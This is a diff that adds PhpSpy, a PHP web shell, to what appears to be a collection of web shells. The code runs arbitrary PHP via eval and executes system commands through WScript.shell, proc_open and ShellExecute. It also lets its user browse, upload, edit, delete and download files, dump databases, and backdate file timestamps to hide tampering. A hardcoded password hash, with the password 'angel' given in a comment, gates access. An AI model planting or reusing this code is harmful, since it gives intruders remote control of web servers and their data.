'); + formfoot(); +}//end sql backup + +elseif ($action == 'eval') { + $phpcode = trim($phpcode); + if($phpcode){ + if (!preg_match('#<\?#si', $phpcode)) { + $phpcode = ""; + } + eval("?".">$phpcode'Eval PHP Code')); + makehide('action','eval'); + maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode)); + p('

Get plugins

'); + formfooter(); +}//end eval + +elseif ($action == 'editfile') { + if(file_exists($opfile)) { + $fp=@fopen($opfile,'r'); + $contents=@fread($fp, filesize($opfile)); + @fclose($fp); + $contents=htmlspecialchars($contents); + } + formhead(array('title'=>'Create / Edit File')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); + maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents)); + formfooter(); +}//end editfile + +elseif ($action == 'newtime') { + $opfilemtime = @filemtime($opfile); + //$time = strtotime("$year-$month-$day $hour:$minute:$second"); + $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); + formhead(array('title'=>'Clone file was last modified time')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); + formfooter(); + formhead(array('title'=>'Set last modified')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + p('

Instead »'); + p('year:'); + makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); + p('month:'); + makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); + p('day:'); + makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); + p('hour:'); + makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); + p('minute:'); + makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); + p('second:'); + makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); + p('

'); + formfooter(); +}//end newtime + +elseif ($action == 'shell') { + if (IS_WIN && IS_COM) { + if($program && $parameter) { + $shell= new COM('Shell.Application'); + $a = $shell->ShellExecute($program,$parameter); + m('Program run has '.(!$a ? 'success' : 'fail')); + } + !$program && $program = 'c:\windows\system32\cmd.exe'; + !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt'; + formhead(array('title'=>'Execute Program')); + makehide('action','shell'); + makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); + p('

'); + makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('

'); + formfoot(); + } + formhead(array('title'=>'Execute Command')); + makehide('action','shell'); + if (IS_WIN && IS_COM) { + $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); + makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); + } + p('

'); + makeinput(array('title'=>'Command','name'=>'command','value'=>$command)); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('

'); + formfoot(); + + if ($command) { + p('
');
+		if ($execfunc=='wscript' && IS_WIN && IS_COM) {
+			$wsh = new COM('WScript.shell');
+			$exec = $wsh->exec('cmd.exe /c '.$command);
+			$stdout = $exec->StdOut();
+			$stroutput = $stdout->ReadAll();
+			echo $stroutput;
+		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
+			$descriptorspec = array(
+			   0 => array('pipe', 'r'),
+			   1 => array('pipe', 'w'),
+			   2 => array('pipe', 'w')
+			);
+			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
+			if (is_resource($process)) {
+				fwrite($pipes[0], $command."\r\n");
+				fwrite($pipes[0], "exit\r\n");
+				fclose($pipes[0]);
+				while (!feof($pipes[1])) {
+					echo fgets($pipes[1], 1024);
+				}
+				fclose($pipes[1]);
+				while (!feof($pipes[2])) {
+					echo fgets($pipes[2], 1024);
+				}
+				fclose($pipes[2]);
+				proc_close($process);
+			}
+		} else {
+			echo(execute($command));
+		}
+		p('
'); + } +}//end shell + +elseif ($action == 'phpenv') { + $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; + $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); + !$dis_func && $dis_func = 'No'; + $info = array( + 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), + 2 => array('Server Domain',$_SERVER['SERVER_NAME']), + 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), + 4 => array('Server OS',PHP_OS), + 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), + 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), + 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), + 8 => array('PHP run mode',strtoupper(php_sapi_name())), + 9 => array('The file path',__FILE__), + + 10 => array('PHP Version',PHP_VERSION), + 11 => array('PHPINFO',(IS_PHPINFO ? 'Yes' : 'No')), + 12 => array('Safe Mode',getcfg('safe_mode')), + 13 => array('Administrator',$adminmail), + 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), + 15 => array('enable_dl',getcfg('enable_dl')), + 16 => array('display_errors',getcfg('display_errors')), + 17 => array('register_globals',getcfg('register_globals')), + 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), + 19 => array('memory_limit',getcfg('memory_limit')), + 20 => array('post_max_size',getcfg('post_max_size')), + 21 => array('upload_max_filesize',$upsize), + 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'), + 23 => array('disable_functions',$dis_func), + ); + + if($phpvarname) { + m($phpvarname .' : '.getcfg($phpvarname)); + } + + formhead(array('title'=>'Server environment')); + makehide('action','phpenv'); + makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); + formfooter(); + + $hp = array(0=> 'Server', 1=> 'PHP'); + for($a=0;$a<2;$a++) { + p('

'.$hp[$a].' »

'); + p(''); + } +}//end phpenv + +else { + m('Undefined Action'); +} + +?> + +
+ + Copyright (C) 2004-2008 Security Angel Team [S4T] All Rights Reserved. +
+ + + +'; + echo $msg; + echo ''; +} +function scookie($key, $value, $life = 0, $prefix = 1) { + global $admin, $timestamp, $_SERVER; + $key = ($prefix ? $admin['cookiepre'] : '').$key; + $life = $life ? $life : $admin['cookielife']; + $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; + setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport); +} +function multi($num, $perpage, $curpage, $tablename) { + $multipage = ''; + if($num > $perpage) { + $page = 10; + $offset = 5; + $pages = @ceil($num / $perpage); + if($page > $pages) { + $from = 1; + $to = $pages; + } else { + $from = $curpage - $offset; + $to = $curpage + $page - $offset - 1; + if($from < 1) { + $to = $curpage + 1 - $from; + $from = 1; + if(($to - $from) < $page && ($to - $from) < $pages) { + $to = $page; + } + } elseif($to > $pages) { + $from = $curpage - $pages + $to; + $to = $pages; + if(($to - $from) < $page && ($to - $from) < $pages) { + $from = $pages - $page + 1; + } + } + } + $multipage = ($curpage - $offset > 1 && $pages > $page ? 'First ' : '').($curpage > 1 ? 'Prev ' : ''); + for($i = $from; $i <= $to; $i++) { + $multipage .= $i == $curpage ? $i.' ' : '['.$i.'] '; + } + $multipage .= ($curpage < $pages ? 'Next' : '').($to < $pages ? ' Last' : ''); + $multipage = $multipage ? '

Pages: '.$multipage.'

' : ''; + } + return $multipage; +} +// µÇ½Èë¿Ú +function loginpage() { +?> + + + Password: + + + +Can not connect to MySQL server'); + exit; + } + if($link && $dbname) { + if (!@mysql_select_db($dbname, $link)) { + p('

Database selected has error

'); + exit; + } + } + if($link && mysql_get_server_info() > '4.1') { + if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) { + q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link); + } + } + return $link; +} + +// È¥µôתÒå×Ö·û +function s_array(&$array) { + if (is_array($array)) { + foreach ($array as $k => $v) { + $array[$k] = s_array($v); + } + } else if (is_string($array)) { + $array = stripslashes($array); + } + return $array; +} + +// Çå³ýHTML´úÂë +function html_clean($content) { + $content = htmlspecialchars($content); + $content = str_replace("\n", "
", $content); + $content = str_replace(" ", "  ", $content); + $content = str_replace("\t", "    ", $content); + return $content; +} + +// »ñȡȨÏÞ +function getChmod($filepath){ + return substr(base_convert(@fileperms($filepath),10,8),-4); +} + +function getPerms($filepath) { + $mode = @fileperms($filepath); + if (($mode & 0xC000) === 0xC000) {$type = 's';} + elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} + elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} + elseif (($mode & 0x8000) === 0x8000) {$type = '-';} + elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} + elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} + elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} + else {$type = '?';} + + $owner['read'] = ($mode & 00400) ? 'r' : '-'; + $owner['write'] = ($mode & 00200) ? 'w' : '-'; + $owner['execute'] = ($mode & 00100) ? 'x' : '-'; + $group['read'] = ($mode & 00040) ? 'r' : '-'; + $group['write'] = ($mode & 00020) ? 'w' : '-'; + $group['execute'] = ($mode & 00010) ? 'x' : '-'; + $world['read'] = ($mode & 00004) ? 'r' : '-'; + $world['write'] = ($mode & 00002) ? 'w' : '-'; + $world['execute'] = ($mode & 00001) ? 'x' : '-'; + + if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} + if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} + if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} + + return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; +} + +function getUser($filepath) { + if (function_exists('posix_getpwuid')) { + $array = @posix_getpwuid(@fileowner($filepath)); + if ($array && is_array($array)) { + return ' / '.$array['name'].''; + } + } + return ''; +} + +// ɾ³ýĿ¼ +function deltree($deldir) { + $mydir=@dir($deldir); + while($file=$mydir->read()) { + if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { + @chmod($deldir.'/'.$file,0777); + deltree($deldir.'/'.$file); + } + if (is_file($deldir.'/'.$file)) { + @chmod($deldir.'/'.$file,0777); + @unlink($deldir.'/'.$file); + } + } + $mydir->close(); + @chmod($deldir,0777); + return @rmdir($deldir) ? 1 : 0; +} + +// ±í¸ñÐмäµÄ±³¾°É«Ìæ»» +function bg() { + global $bgc; + return ($bgc++%2==0) ? 'alt1' : 'alt2'; +} + +// »ñÈ¡µ±Ç°µÄÎļþϵͳ·¾¶ +function getPath($scriptpath, $nowpath) { + if ($nowpath == '.') { + $nowpath = $scriptpath; + } + $nowpath = str_replace('\\', '/', $nowpath); + $nowpath = str_replace('//', '/', $nowpath); + if (substr($nowpath, -1) != '/') { + $nowpath = $nowpath.'/'; + } + return $nowpath; +} + +// »ñÈ¡µ±Ç°Ä¿Â¼µÄÉϼ¶Ä¿Â¼ +function getUpPath($nowpath) { + $pathdb = explode('/', $nowpath); + $num = count($pathdb); + if ($num > 2) { + unset($pathdb[$num-1],$pathdb[$num-2]); + } + $uppath = implode('/', $pathdb).'/'; + $uppath = str_replace('//', '/', $uppath); + return $uppath; +} + +// ¼ì²éPHPÅäÖòÎÊý +function getcfg($varname) { + $result = get_cfg_var($varname); + if ($result == 0) { + return 'No'; + } elseif ($result == 1) { + return 'Yes'; + } else { + return $result; + } +} + +// ¼ì²éº¯ÊýÇé¿ö +function getfun($funName) { + return (false !== function_exists($funName)) ? 'Yes' : 'No'; +} + +function GetList($dir){ + global $dirdata,$j,$nowpath; + !$j && $j=1; + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + $f=str_replace('//','/',$dir.'/'.$file); + if($file!='.' && $file!='..' && is_dir($f)){ + if (is_writable($f)) { + $dirdata[$j]['filename']=str_replace($nowpath,'',$f); + $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $dirdata[$j]['dirchmod']=getChmod($f); + $dirdata[$j]['dirperm']=getPerms($f); + $dirdata[$j]['dirlink']=ue($dir); + $dirdata[$j]['server_link']=$f; + $dirdata[$j]['client_link']=ue($f); + $j++; + } + GetList($f); + } + } + closedir($dh); + clearstatcache(); + return $dirdata; + } else { + return array(); + } +} + +function qy($sql) { + //echo $sql.'
'; + $res = $error = ''; + if(!$res = @mysql_query($sql)) { + return 0; + } else if(is_resource($res)) { + return 1; + } else { + return 2; + } + return 0; +} + +function q($sql) { + return @mysql_query($sql); +} + +function fr($qy){ + mysql_free_result($qy); +} + +function sizecount($size) { + if($size > 1073741824) { + $size = round($size / 1073741824 * 100) / 100 . ' G'; + } elseif($size > 1048576) { + $size = round($size / 1048576 * 100) / 100 . ' M'; + } elseif($size > 1024) { + $size = round($size / 1024 * 100) / 100 . ' K'; + } else { + $size = $size . ' B'; + } + return $size; +} + +// ѹËõ´ò°üÀà +class PHPZip{ + var $out=''; + function PHPZip($dir) { + if (@function_exists('gzcompress')) { + $curdir = getcwd(); + if (is_array($dir)) $filelist = $dir; + else{ + $filelist=$this -> GetFileList($dir);//ÎļþÁбí + foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); + } + if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); + else chdir($curdir); + if (count($filelist)>0){ + foreach($filelist as $filename){ + if (is_file($filename)){ + $fd = fopen ($filename, 'r'); + $content = @fread ($fd, filesize($filename)); + fclose ($fd); + if (is_array($dir)) $filename = basename($filename); + $this -> addFile($content, $filename); + } + } + $this->out = $this -> file(); + chdir($curdir); + } + return 1; + } + else return 0; + } + + // »ñµÃÖ¸¶¨Ä¿Â¼ÎļþÁбí + function GetFileList($dir){ + static $a; + if (is_dir($dir)) { + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + if($file!='.' && $file!='..'){ + $f=$dir .'/'. $file; + if(is_dir($f)) $this->GetFileList($f); + $a[]=$f; + } + } + closedir($dh); + } + } + return $a; + } + + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } // end if + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + + function addFile($data, $name, $time = 0) { + $name = str_replace('\\', '/', $name); + + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + + $this -> ctrl_dir[] = $cdrec; + } + + function file() { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; + } +} + +// ±¸·ÝÊý¾Ý¿â +function sqldumptable($table, $fp=0) { + $tabledump = "DROP TABLE IF EXISTS $table;\n"; + $tabledump .= "CREATE TABLE $table (\n"; + + $firstfield=1; + + $fields = q("SHOW FIELDS FROM $table"); + while ($field = mysql_fetch_array($fields)) { + if (!$firstfield) { + $tabledump .= ",\n"; + } else { + $firstfield=0; + } + $tabledump .= " $field[Field] $field[Type]"; + if (!empty($field["Default"])) { + $tabledump .= " DEFAULT '$field[Default]'"; + } + if ($field['Null'] != "YES") { + $tabledump .= " NOT NULL"; + } + if ($field['Extra'] != "") { + $tabledump .= " $field[Extra]"; + } + } + fr($fields); + + $keys = q("SHOW KEYS FROM $table"); + while ($key = mysql_fetch_array($keys)) { + $kname=$key['Key_name']; + if ($kname != "PRIMARY" && $key['Non_unique'] == 0) { + $kname="UNIQUE|$kname"; + } + if(!is_array($index[$kname])) { + $index[$kname] = array(); + } + $index[$kname][] = $key['Column_name']; + } + fr($keys); + + while(list($kname, $columns) = @each($index)) { + $tabledump .= ",\n"; + $colnames=implode($columns,","); + + if ($kname == "PRIMARY") { + $tabledump .= " PRIMARY KEY ($colnames)"; + } else { + if (substr($kname,0,6) == "UNIQUE") { + $kname=substr($kname,7); + } + $tabledump .= " KEY $kname ($colnames)"; + } + } + + $tabledump .= "\n);\n\n"; + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + + $rows = q("SELECT * FROM $table"); + $numfields = mysql_num_fields($rows); + while ($row = mysql_fetch_array($rows)) { + $tabledump = "INSERT INTO $table VALUES("; + + $fieldcounter=-1; + $firstfield=1; + while (++$fieldcounter<$numfields) { + if (!$firstfield) { + $tabledump.=", "; + } else { + $firstfield=0; + } + + if (!isset($row[$fieldcounter])) { + $tabledump .= "NULL"; + } else { + $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'"; + } + } + + $tabledump .= ");\n"; + + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + } + fr($rows); + if ($fp) { + fwrite($fp,"\n"); + } else { + echo "\n"; + } +} + +function ue($str){ + return urlencode($str); +} + +function p($str){ + echo $str."\n"; +} + +function tbhead() { + p(''); +} +function tbfoot(){ + p('
'); +} + +function makehide($name,$value=''){ + p(""); +} + +function makeinput($arg = array()){ + $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; + $arg['extra'] = $arg['extra'] ? $arg['extra'] : ''; + !$arg['type'] && $arg['type'] = 'text'; + $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; + $arg['class'] = $arg['class'] ? $arg['class'] : 'input'; + if ($arg['newline']) { + p("

$arg[title]

"); + } else { + p("$arg[title]"); + } +} + +function makeselect($arg = array()){ + if ($arg['onchange']) { + $onchange = 'onchange="'.$arg['onchange'].'"'; + } + $arg['title'] = $arg['title'] ? $arg['title'] : ''; + if ($arg['newline']) p('

'); + p("$arg[title] "); + if ($arg['newline']) p('

'); +} +function formhead($arg = array()) { + !$arg['method'] && $arg['method'] = 'post'; + !$arg['action'] && $arg['action'] = $self; + $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : ''; + !$arg['name'] && $arg['name'] = 'form1'; + p("
"); + if ($arg['title']) { + p('

'.$arg['title'].' »

'); + } +} + +function maketext($arg = array()){ + !$arg['cols'] && $arg['cols'] = 100; + !$arg['rows'] && $arg['rows'] = 25; + $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; + p("

$arg[title]

"); +} + +function formfooter($name = ''){ + !$name && $name = 'submit'; + p('

'); + p('
'); +} + +function formfoot(){ + p(''); +} + +// µ÷ÊÔº¯Êý +function pr($a) { + echo '
';
+	print_r($a);
+	echo '
'; +} + +?> \ No newline at end of file diff --git a/php/phpspy/2009lite.php b/php/phpspy/2009lite.php new file mode 100644 index 0000000..9aefe2e --- /dev/null +++ b/php/phpspy/2009lite.php @@ -0,0 +1,1165 @@ + $_value) { + if ($_key{0} != '_') { + if (IS_GPC) { + $_value = s_array($_value); + } + $$_key = $_value; + } + } +} +/*===================== ³ÌÐòÅäÖà =====================*/ +$admin = array(); +// ÊÇ·ñÐèÒªÃÜÂëÑéÖ¤, true ΪÐèÒªÑéÖ¤, false Ϊֱ½Ó½øÈë.ÏÂÃæÑ¡ÏîÔòÎÞЧ +$admin['check'] = true; +// Èç¹ûÐèÒªÃÜÂëÑéÖ¤,ÇëÐ޸ĵǽÃÜÂë +$admin['pass'] = 'f4f068e71e0d87bf0ad51e6214ab84e9'; //angel + +//ÈçÄú¶Ô cookie ×÷Ó÷¶Î§ÓÐÌØÊâÒªÇó, »òµÇ¼²»Õý³£, ÇëÐÞ¸ÄÏÂÃæ±äÁ¿, ·ñÔòÇë±£³ÖĬÈÏ +// cookie ǰ׺ +$admin['cookiepre'] = ''; +// cookie ×÷ÓÃÓò +$admin['cookiedomain'] = ''; +// cookie ×÷Ó÷¾¶ +$admin['cookiepath'] = '/'; +// cookie ÓÐЧÆÚ +$admin['cookielife'] = 86400; +/*===================== ÅäÖýáÊø =====================*/ + +$charsetdb = array( + 'armscii8', + 'ascii', + 'big5', + 'binary', + 'cp1250', + 'cp1251', + 'cp1256', + 'cp1257', + 'cp850', + 'cp852', + 'cp866', + 'cp932', + 'dec8', + 'eucjpms', + 'euckr', + 'gb2312', + 'gbk', + 'geostd8', + 'greek', + 'hebrew', + 'hp8', + 'keybcs2', + 'koi8r', + 'koi8u', + 'latin1', + 'latin2', + 'latin5', + 'latin7', + 'macce', + 'macroman', + 'sjis', + 'swe7', + 'tis620', + 'ucs2', + 'ujis', + 'utf8' +); +if ($charset == 'utf8') { + header("content-Type: text/html; charset=utf-8"); +} elseif ($charset == 'big5') { + header("content-Type: text/html; charset=big5"); +} elseif ($charset == 'gbk') { + header("content-Type: text/html; charset=gbk"); +} elseif ($charset == 'latin1') { + header("content-Type: text/html; charset=iso-8859-2"); +} elseif ($charset == 'euckr') { + header("content-Type: text/html; charset=euc-kr"); +} elseif ($charset == 'eucjpms') { + header("content-Type: text/html; charset=euc-jp"); +} + +$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; +$timestamp = time(); + +/*===================== Éí·ÝÑéÖ¤ =====================*/ +if ($action == "logout") { + scookie('loginpass', '', -86400 * 365); + p(''); + p('Success'); + exit; +} +if($admin['check']) { + if ($doing == 'login') { + if ($admin['pass'] == md5($password)) { + scookie('loginpass', md5($password)); + p(''); + p('Success'); + exit; + } + } + if ($_COOKIE['loginpass']) { + if ($_COOKIE['loginpass'] != $admin['pass']) { + loginpage(); + } + } else { + loginpage(); + } +} +/*===================== ÑéÖ¤½áÊø =====================*/ + +$errmsg = ''; + +// ²é¿´PHPINFO +if ($action == 'phpinfo') { + if (IS_PHPINFO) { + phpinfo(); + exit; + } else { + $errmsg = 'phpinfo() function has non-permissible'; + } +} + +// ÏÂÔØÎļþ +if ($doing == 'downfile' && $thefile) { + if (!@file_exists($thefile)) { + $errmsg = 'The file you want Downloadable was nonexistent'; + } else { + $fileinfo = pathinfo($thefile); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header('Content-Length: '.filesize($thefile)); + @readfile($thefile); + exit; + } +} + +?> + + + +<?php echo str_replace('.','','P.h.p.S.p.y');?> + + + + + + + + + + + +
Ver: 2009 Build 20081222 ()
Safe Mode: + Logout | + File Manager | + Execute Command | + PHP Variable +
+'); + + //²é¿´ËùÓпÉдÎļþºÍĿ¼ + $dirdata=array(); + $filedata=array(); + + if ($view_writable == 'dir') { + $dirdata = GetWDirList($nowpath); + $filedata = array(); + } elseif ($view_writable == 'file') { + $dirdata = array(); + $filedata = GetWFileList($nowpath); + } else { + // Ŀ¼Áбí + $dirs=@opendir($dir); + while ($file=@readdir($dirs)) { + $filepath=$nowpath.$file; + if(@is_dir($filepath)){ + $dirdb['filename']=$file; + $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $dirdb['dirchmod']=getChmod($filepath); + $dirdb['dirperm']=getPerms($filepath); + $dirdb['fileowner']=getUser($filepath); + $dirdb['dirlink']=$nowpath; + $dirdb['server_link']=$filepath; + $dirdb['client_link']=ue($filepath); + $dirdata[]=$dirdb; + } else { + $filedb['filename']=$file; + $filedb['size']=sizecount(@filesize($filepath)); + $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $filedb['filechmod']=getChmod($filepath); + $filedb['fileperm']=getPerms($filepath); + $filedb['fileowner']=getUser($filepath); + $filedb['dirlink']=$nowpath; + $filedb['server_link']=$filepath; + $filedb['client_link']=ue($filepath); + $filedata[]=$filedb; + } + }// while + unset($dirdb); + unset($filedb); + @closedir($dirs); + } + @sort($dirdata); + @sort($filedata); + $dir_i = '0'; + + foreach($dirdata as $key => $dirdb){ + if($dirdb['filename']!='..' && $dirdb['filename']!='.') { + if($getdir && $getdir == $dirdb['server_link']) { + $attachsize = dirsize($dirdb['server_link']); + $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown'; + } else { + $attachsize = 'Stat'; + } + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $dir_i++; + } else { + if($dirdb['filename']=='..') { + p(''); + p(''); + p(''); + } + } + } + + p(''); + p(''); + makehide('action','file'); + makehide('thefile'); + makehide('doing'); + makehide('dir',$nowpath); + $file_i = '0'; + + foreach($filedata as $key => $filedb){ + if($filedb['filename']!='..' && $filedb['filename']!='.') { + $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']); + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $file_i++; + } + } + p(''); + p('
+'goaction')); +makehide('action'); +formfoot(); + +$errmsg && m($errmsg); + +// »ñÈ¡µ±Ç°Â·¾¶ +if (!$dir) { + if ($_SERVER["DOCUMENT_ROOT"]) { + $dir = $_SERVER["DOCUMENT_ROOT"]; + } else { + $dir = '.'; + } +} + +$nowpath = getPath(SA_ROOT, $dir); +if (substr($dir, -1) != '/') { + $dir = $dir.'/'; +} +$uedir = ue($dir); + +if (!$action || $action == 'file') { + + // Åж϶ÁдÇé¿ö + $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable'; + + // ɾ³ýĿ¼ + if ($doing == 'deldir' && $thefile) { + if (!file_exists($thefile)) { + m($thefile.' directory does not exist'); + } else { + m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed')); + } + } + + // ´´½¨Ä¿Â¼ + elseif ($newdirname) { + $mkdirs = $nowpath.$newdirname; + if (file_exists($mkdirs)) { + m('Directory has already existed'); + } else { + m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed')); + @chmod($mkdirs,0777); + } + } + + // ÉÏ´«Îļþ + elseif ($doupfile) { + m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed')); + } + + // ±à¼­Îļþ + elseif ($editfilename && $filecontent) { + $fp = @fopen($editfilename,'w'); + m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed')); + @fclose($fp); + } + + // ±à¼­ÎļþÊôÐÔ + elseif ($pfile && $newperm) { + if (!file_exists($pfile)) { + m('The original file does not exist'); + } else { + $newperm = base_convert($newperm,8,10); + m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed')); + } + } + + // ¸ÄÃû + elseif ($oldname && $newfilename) { + $nname = $nowpath.$newfilename; + if (file_exists($nname) || !file_exists($oldname)) { + m($nname.' has already existed or original file does not exist'); + } else { + m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed')); + } + } + + // ¸´ÖÆÎļþ + elseif ($sname && $tofile) { + if (file_exists($tofile) || !file_exists($sname)) { + m('The goal file has already existed or original file does not exist'); + } else { + m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed')); + } + } + + // ¿Ë¡ʱ¼ä + elseif ($curfile && $tarfile) { + if (!@file_exists($curfile) || !@file_exists($tarfile)) { + m('The goal file has already existed or original file does not exist'); + } else { + $time = @filemtime($tarfile); + m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); + } + } + + // 